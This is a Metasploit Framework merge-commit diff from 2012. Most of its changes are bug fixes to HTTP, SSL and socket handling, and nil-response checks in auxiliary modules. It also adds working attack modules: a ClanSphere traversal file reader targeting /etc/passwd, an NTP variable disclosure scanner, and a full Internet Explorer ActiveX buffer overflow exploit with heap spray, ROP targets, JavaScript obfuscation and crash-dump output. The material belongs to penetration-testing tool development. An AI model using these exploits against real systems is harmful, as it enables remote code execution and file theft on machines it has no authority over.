Merge branch 'upstream-master' into WinRM_piecemeal

bug/bundler_fix
David Maloney 2012-10-31 15:23:32 -05:00
commit 7cf7563a87
19 changed files with 479 additions and 27 deletions

View File

@ -127,7 +127,7 @@ module BindTcp
rescue Rex::ConnectionRefused
# Connection refused is a-okay
rescue ::Exception
wlog("Exception caught in bind handler: #{$!}")
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
end
break if client
@ -138,7 +138,6 @@ module BindTcp
# Valid client connection?
if (client)
# Increment the has connection counter
self.pending_connections += 1

View File

@ -149,6 +149,9 @@ protected
closed = true
wlog("monitor_rsock: closed remote socket due to nil read")
end
rescue EOFError => e
closed = true
dlog("monitor_rsock: EOF in rsock")
rescue ::Exception => e
closed = true
wlog("monitor_rsock: exception during read: #{e.class} #{e}")

View File

@ -154,7 +154,7 @@ class Client
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
# Use non-blocking OpenSSL operations on Windows
if not ( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
if !( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
ssl.accept
else
begin
@ -211,12 +211,19 @@ class Client
cert.version = 2
cert.serial = rand(0xFFFFFFFF)
# Depending on how the socket was created, getsockname will
# return either a struct sockaddr as a String (the default ruby
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
# behavior). Avoid the ambiguity by always picking a random
# hostname. See #7350.
subject_cn = Rex::Text.rand_hostname
subject = OpenSSL::X509::Name.new([
["C","US"],
['ST', Rex::Text.rand_state()],
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
["CN", self.sock.getsockname[1] || Rex::Text.rand_hostname],
["CN", subject_cn],
])
issuer = OpenSSL::X509::Name.new([
["C","US"],

View File

@ -365,7 +365,7 @@ class Client
#
# Read a response from the server
#
def read_response(t = -1)
def read_response(t = -1, opts = {})
resp = Response.new
resp.max_data = config['read_max_data']
@ -392,7 +392,7 @@ class Client
##########################################################################
# XXX: NOTE: BUG: get_once currently (as of r10042) rescues "Exception"
# As such, the following rescue block will ever be reached. -jjd
# As such, the following rescue block will never be reached. -jjd
##########################################################################
# Handle unexpected disconnects
@ -434,14 +434,20 @@ class Client
return resp if not resp
# As a last minute hack, we check to see if we're dealing with a 100 Continue here.
if resp.proto == '1.1' and resp.code == 100
# If so, our real response becaome the body, so we re-parse it.
body = resp.body
resp = Response.new
resp.max_data = config['read_max_data']
rv = resp.parse(body)
# XXX: At some point, this may benefit from processing post-completion code
# as seen above.
# Most of the time this is handled by the parser via check_100()
if resp.proto == '1.1' and resp.code == 100 and not opts[:skip_100]
# Read the real response from the body if we found one
# If so, our real response became the body, so we re-parse it.
if resp.body.to_s =~ /^HTTP/
body = resp.body
resp = Response.new
resp.max_data = config['read_max_data']
rv = resp.parse(body)
# We found a 100 Continue but didn't read the real reply yet
# Otherwise reread the reply, but don't try this hack again
else
resp = read_response(t, :skip_100 => true)
end
end
resp

View File

@ -367,6 +367,7 @@ protected
if (self.body_bytes_left == 0)
self.bufq.sub!(/^\r?\n/s,'')
self.state = ParseState::Completed
self.check_100
return
end
@ -396,10 +397,15 @@ protected
# ready to go.
if (not self.transfer_chunked and self.body_bytes_left == 0)
self.state = ParseState::Completed
self.check_100
return
end
end
# Override this as needed
def check_100
end
end
end

View File

@ -53,6 +53,9 @@ class Response < Packet
# default chunk sizes (if chunked is used)
self.chunk_min_size = 1
self.chunk_max_size = 10
# 100 continue counter
self.count_100 = 0
end
#
@ -66,6 +69,19 @@ class Response < Packet
else
raise RuntimeError, "Invalid response command string", caller
end
check_100()
end
#
# Allow 100 Continues to be ignored by the caller
#
def check_100
# If this was a 100 continue with no data, reset
if self.code == 100 and (self.body_bytes_left == -1 or self.body_bytes_left == 0) and self.count_100 < 5
self.reset_except_queue
self.count_100 += 1
end
end
#
@ -84,6 +100,7 @@ class Response < Packet
attr_accessor :code
attr_accessor :message
attr_accessor :proto
attr_accessor :count_100
end
end

View File

@ -51,6 +51,11 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET',
}, 20)
if not res
print_error("No response from server")
return
end
http_fingerprint({ :response => res })
if (res.code >= 200)

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
'uri' => datastore['URI'] + fmt,
})
if res.code == 200
if res and res.code == 200
res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
print_status("Information leaked: #{$1}")
end

View File

@ -0,0 +1,91 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
'Description' => %q{
This module exploits a directory traversal flaw found in Clansphere 2011.3.
The application fails to handle the cs_lang parameter properly, which can be
used to read any file outside the virtual directory.
},
'References' =>
[
['OSVDB', '86720'],
['EDB', '22181']
],
'Author' =>
[
'blkhtc0rp', #Original
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Oct 23 2012"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
], self.class)
end
def run_host(ip)
base = target_uri.path
base << '/' if base[-1,1] != '/'
peer = "#{ip}:#{rport}"
print_status("#{peer} - Reading '#{datastore['FILE']}'")
traverse = "../" * datastore['DEPTH']
f = datastore['FILE']
f = f[1, f.length] if f =~ /^\//
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{base}index.php",
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
})
if res and res.body =~ /^Fatal error\:/
print_error("#{peer} - Unable to read '#{datastore['FILE']}', possibily because:")
print_error("\t1. File does not exist.")
print_error("\t2. No permission.")
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
elsif res and res.code == 200
pattern_end = " UTC +1 - Load:"
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip
fname = datastore['FILE']
p = store_loot(
'clansphere.cms',
'application/octet-stream',
ip,
data,
fname
)
vprint_line(data)
print_good("#{peer} - #{fname} stored as '#{p}'")
else
print_error("#{peer} - Fail to obtain file for some unknown reason")
end
end
end

View File

@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
#Check for HTTP 200 response.
#Numerous versions and configs make if difficult to further fingerprint.
if (res.code == 200)
if (res and res.code == 200)
print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]")
#Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.

View File

@ -89,8 +89,8 @@ class Metasploit3 < Msf::Auxiliary
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 45)
return :abort if (res.code == 404)
success = true if(res.body.match(/SessionInfo/i))
return :abort if (!res or (res and res.code == 404))
success = true if(res and res.body.match(/SessionInfo/i))
success
rescue ::Rex::ConnectionError

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
'Accept-Encoding' => "gzip,deflate",
},
}, 45)
return :abort if (res.code != 200)
return :abort if (!res or (res and res.code != 200))
if(res.body.match(/Account Information/i))
success = false
else

View File

@ -93,8 +93,8 @@ class Metasploit3 < Msf::Auxiliary
}, 45)
if res
return :abort if (res.code == 404)
success = true if(res.body.match(/Invalid password/i))
return :abort if (!res or (res and res.code == 404))
success = true if(res and res.body.match(/Invalid password/i))
success
else
vprint_error("[SAP BusinessObjects] No response")

View File

@ -0,0 +1,67 @@
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'NTP Clock Variables Disclosure',
'Description' => %q{
This module reads the system internal NTP variables. These variables contain
potentially sensitive information, such as the NTP software version, operating
system version, peers, and more.
},
'Author' => [ 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL','http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ],
]
)
)
register_options(
[
Opt::RPORT(123)
], self.class)
end
def run_host(ip)
connect_udp
readvar = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" #readvar command
print_status("Connecting target #{rhost}:#{rport}...")
print_status("Sending command")
udp_sock.put(readvar)
reply = udp_sock.recvfrom(65535, 0.1)
if not reply or reply[0].empty?
print_error("#{rhost}:#{rport} - Couldn't read NTP variables")
return
end
p_reply = reply[0].split(",")
arr_count = 0
while ( arr_count < p_reply.size)
if arr_count == 0
print_good("#{rhost}:#{rport} - #{p_reply[arr_count].slice(12,p_reply[arr_count].size)}") #12 is the adjustment of packet garbage
arr_count = arr_count + 1
else
print_good("#{rhost}:#{rport} - #{p_reply[arr_count].strip}")
arr_count = arr_count + 1
end
end
disconnect_udp
end
end

View File

@ -126,6 +126,8 @@ class Metasploit4 < Msf::Auxiliary
}
}, 45)
return if not res
if (res.code != 500 and res.code != 200)
return
else

View File

@ -28,8 +28,9 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module attempts to authenticate to a WinRM service. It currently
works only if the remote end allows Negotiate(NTLM) authentication.
Kerberos is not currently supported.
},
Kerberos is not currently supported. Please note: in order to use this
module, the 'AllowUnencrypted' winrm option must be set.
},
'Author' => [ 'thelightcosine' ],
'References' =>
[
@ -77,3 +78,8 @@ class Metasploit3 < Msf::Auxiliary
end
end
=begin
To set the AllowUncrypted option:
winrm set winrm/config/service @{AllowUnencrypted="true"}
=end

View File

@ -29,7 +29,9 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module runs WQL queries against remote WinRM Services.
Authentication is required. Currently only works with NTLM auth.
},
Please note in order to use this module, the 'AllowUnencrypted'
winrm option must be set.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE
)
@ -69,6 +71,9 @@ class Metasploit3 < Msf::Auxiliary
print_status "Results saved to #{path}"
end
end
=begin
To set the AllowUncrypted option:
winrm set winrm/config/service @{AllowUnencrypted="true"}
=end

View File

@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => datastore['URIPATH'],
}, 1)
if (res.body =~ /Spell Check complete/)
if (res and res.body =~ /Spell Check complete/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -0,0 +1,238 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
})
def initialize(info={})
super(update_info(info,
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aladdin Knowledge System's
ActiveX component. By supplying a long string of data to the ChooseFilePath()
function, a buffer overflow occurs, which may result in remote code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai', #Vulnerability Discovery
'b33f', #Original exploit
'sinn3r', #Metasploit
'juan vazquez' #Metasploit, IE8 target
],
'References' =>
[
[ 'OSVDB', '86723' ],
[ 'EDB', '22258' ],
[ 'EDB', '22301' ]
],
'Payload' =>
{
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 7 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 8 on Windows XP SP3',
{
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[ 'IE 7 on Windows Vista',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0c0c
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def load_exploit_html(my_target, cli)
if my_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
else
p = payload.encoded
end
spray = ie_heap_spray(my_target, p)
html = %Q|
<html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script>
#{spray}
junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
</script>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0c0c0c0c ?? ???
0:008> db 020bf798
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end